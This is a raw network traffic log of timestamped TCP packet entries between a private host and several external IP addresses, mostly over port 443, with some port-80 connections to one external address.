Nov 20, 2024 21:05:33.510571957 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.511172056 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.511200905 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.511746883 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.511753082 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.518147945 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.522352934 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.522393942 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.522794962 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.522800922 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.523255110 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:33.523355007 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:33.524467945 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:33.524498940 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:33.524837017 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:33.526089907 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:33.571337938 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:33.656172037 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.656343937 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.657752991 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.715043068 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.715121984 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.715306997 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.737564087 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.737591982 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.737611055 CET	49742	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.737617970 CET	443	49742	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.754425049 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.754425049 CET	49741	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.754466057 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.754482985 CET	443	49741	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.768754959 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.768939018 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.769726992 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.794311047 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.794311047 CET	49743	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.794351101 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.794367075 CET	443	49743	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.854425907 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:33.857831001 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:33.857883930 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.857932091 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.858037949 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.864361048 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864427090 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864447117 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864485979 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864520073 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864522934 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.864552975 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.864617109 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.864617109 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.873470068 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.873492002 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.880084038 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.880175114 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.880176067 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:33.880438089 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:33.946743011 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.946805000 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.949815989 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:33.953707933 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:33.966449976 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.966517925 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:33.969686985 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.008725882 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.008785963 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.008873940 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.011002064 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.011044025 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.011152029 CET	49744	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.011159897 CET	443	49744	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.012115002 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.012145996 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.012221098 CET	49745	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.012228012 CET	443	49745	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.017261028 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.017296076 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.017364025 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.017635107 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.017647982 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.017700911 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.017719984 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.020117998 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.020172119 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.020256996 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.021094084 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.021121979 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.021198034 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.028597116 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.028616905 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.028726101 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:34.028740883 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:34.051551104 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:34.051619053 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:34.051678896 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:34.052572012 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:34.052592039 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:34.052614927 CET	49747	443	192.168.2.7	2.16.229.162
Nov 20, 2024 21:05:34.052628994 CET	443	49747	2.16.229.162	192.168.2.7
Nov 20, 2024 21:05:35.291491032 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:35.291491032 CET	49736	443	192.168.2.7	52.149.20.212
Nov 20, 2024 21:05:35.291522026 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:35.291537046 CET	443	49736	52.149.20.212	192.168.2.7
Nov 20, 2024 21:05:35.657170057 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.703768969 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.732577085 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.732604027 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.734888077 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.734904051 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.810009003 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.810703039 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.815222979 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.857351065 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.857379913 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.857937098 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.857947111 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.858905077 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.858905077 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.858921051 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.858937979 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.860501051 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.862962961 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.862974882 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.863445997 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.863457918 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.883007050 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.884843111 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.884869099 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:35.885648966 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:35.885653973 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.100908041 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.100985050 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.101033926 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.281891108 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.281968117 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.282011986 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.285914898 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.285994053 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.286102057 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.300810099 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.300894976 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.300947905 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.336548090 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.336646080 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.336700916 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.437830925 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.437865019 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.437881947 CET	49749	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.437889099 CET	443	49749	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.439443111 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.439502001 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.439527988 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.439538956 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.440536022 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.440565109 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.440577030 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.440582037 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.570439100 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.570467949 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.570491076 CET	49751	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.570497990 CET	443	49751	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.573435068 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.573435068 CET	49750	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:36.573463917 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:36.573476076 CET	443	49750	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.169646978 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:37.169701099 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:37.169764996 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:37.171593904 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:37.171696901 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:37.171767950 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:37.181798935 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:37.181828022 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:37.182714939 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:37.182723999 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:37.241550922 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.241605997 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.241687059 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.297905922 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.297943115 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.298015118 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.402832031 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.402873993 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.402970076 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.403229952 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.403244019 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.403327942 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.403359890 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.423965931 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.424014091 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.424118996 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.424429893 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.424462080 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.557332993 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.557363033 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.559822083 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.559868097 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:37.560017109 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.560435057 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:37.560446024 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:38.849148989 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:38.849180937 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:38.849344015 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:38.850454092 CET	49768	443	192.168.2.7	40.126.53.18
Nov 20, 2024 21:05:38.850477934 CET	443	49768	40.126.53.18	192.168.2.7
Nov 20, 2024 21:05:38.860711098 CET	80	49740	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:38.864402056 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:39.055711985 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.058419943 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.058439016 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.059632063 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.059696913 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.070517063 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.070677042 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.070943117 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.070962906 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.161700010 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.191761017 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.241764069 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.260462999 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.277360916 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:39.286878109 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.286914110 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.287380934 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.287386894 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.292085886 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:39.292107105 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:39.293417931 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:39.293482065 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:39.299031973 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:39.299181938 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:39.299596071 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:39.299607038 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:39.303111076 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.303131104 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.303694963 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.303700924 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.347330093 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.347440004 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:39.349917889 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.349937916 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.350723028 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.350737095 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.358707905 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.359112978 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.359133959 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.360024929 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.360029936 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.429837942 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.529330015 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.529349089 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.529886007 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.529901981 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.584310055 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.584408045 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:39.584785938 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:39.638063908 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.638158083 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.638283014 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.701991081 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.702195883 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.702256918 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.713773012 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.713891983 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.714004040 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.951493025 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.951534986 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.951551914 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.951560020 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.972450018 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.972479105 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.974642038 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.974642992 CET	49764	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:39.974668026 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.974687099 CET	443	49764	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.999692917 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.999862909 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:39.999939919 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.025310993 CET	49755	443	192.168.2.7	94.245.104.56
Nov 20, 2024 21:05:40.025335073 CET	443	49755	94.245.104.56	192.168.2.7
Nov 20, 2024 21:05:40.039057970 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.039057970 CET	49765	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.039087057 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.039100885 CET	443	49765	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.091470003 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.091471910 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.091541052 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.091590881 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.123019934 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.123054981 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.123083115 CET	49766	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.123090029 CET	443	49766	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.156919956 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.156972885 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176127911 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176140070 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176160097 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176168919 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176176071 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176203966 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.176239014 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.176275969 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.176302910 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.184981108 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.185036898 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.185125113 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.189568996 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.189663887 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.189738035 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.199793100 CET	49773	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.199817896 CET	443	49773	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.202550888 CET	49774	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.202615023 CET	443	49774	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.207012892 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.207042933 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.207115889 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.207415104 CET	49776	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.207428932 CET	443	49776	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.208506107 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.208559036 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.208617926 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.208832979 CET	49777	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.208851099 CET	443	49777	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.212728977 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.212738991 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.212795019 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.224396944 CET	49778	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:40.224446058 CET	443	49778	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:40.228461027 CET	49740	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:40.228874922 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:40.257602930 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.257615089 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.257632017 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.257641077 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.257683992 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.257711887 CET	443	49758	52.123.243.180	192.168.2.7
Nov 20, 2024 21:05:40.257747889 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.257767916 CET	49758	443	192.168.2.7	52.123.243.180
Nov 20, 2024 21:05:40.348160028 CET	80	49740	185.215.113.206	192.168.2.7
